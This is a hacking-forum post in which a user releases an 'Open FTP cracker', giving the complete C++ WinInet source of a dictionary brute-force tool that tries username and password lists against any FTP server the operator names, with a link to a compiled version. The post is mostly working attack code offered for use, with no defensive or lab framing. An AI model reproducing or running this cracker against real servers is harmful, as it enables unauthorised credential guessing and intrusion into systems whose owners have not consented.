Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Your program in the official HC Programs? filter_list
Author
Message
RE: Your program in the official HC Programs? #101
OK, I've fixed the code, so here is my new release/submission to HC tools:

[Image: ftp%20crack%20screen.jpg]


Open FTP cracker:

This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.

Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.

DOWNLOAD

And, @ArkPhaze and @Deque here is the updated code:

Code:
#include <windows.h> #include <wininet.h> #include <iostream> #include <string> #include <fstream> #pragma comment(lib, "Wininet") int main() { HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTitle("Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/"); std::cout<<"Open FTP cracker beta 2.0 coded by Dreamwalker - HackCommunity.com \n_________________________________________________\n"<<std::endl; std::string usernames = "", passwords = "", target = "", temp = ""; //init wininet functions HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); if(!hInternet) { std::cout<<"Error starting WinInet, please close this application"<<std::endl; std::cin>>temp; return -1; } //get files std::ifstream user_reader("usernames.txt"); std::ifstream pass_reader("passwords.txt"); //file error handling if((!user_reader)||(!pass_reader)) { std::cout<<"Error opening one of the input files "<<std::endl; std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl; std::cout<<"directory as this application, please close this application\n"<<std::endl; std::cin>>temp; return -1; } //get target server std::cout<<"What is the target FTP server?:"<<std::endl; std::cin>>target; //get first username to be used in loop getline(user_reader,usernames); //go through all passwords on one username then continue to next username until list has finished int attempts = 0; HINTERNET hFtpSession = NULL; while(!user_reader.eof()) { SetConsoleTextAttribute(hConsole, 7); attempts++; getline(pass_reader,passwords); std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" "; //Connect to FTP server with provided credentials hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0); //is password cracked? if(!hFtpSession) { SetConsoleTextAttribute(hConsole, 12); std::cout<<"= FAIL"<<std::endl; InternetCloseHandle(hFtpSession); } else if(hFtpSession) { SetConsoleTextAttribute(hConsole, 10); std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl; InternetCloseHandle(hFtpSession); break; } if(pass_reader.eof()) { //reset pass file pass_reader.clear(); pass_reader.seekg(0,std::ios::beg); //get next username getline(user_reader,usernames); } } InternetCloseHandle(hInternet); pass_reader.close(); user_reader.close(); std::cout<<"\nFinished, please close this application"<<std::endl; std::cin>>temp; return 0; }

Reply





Messages In This Thread



Users browsing this thread: 1 Guest(s)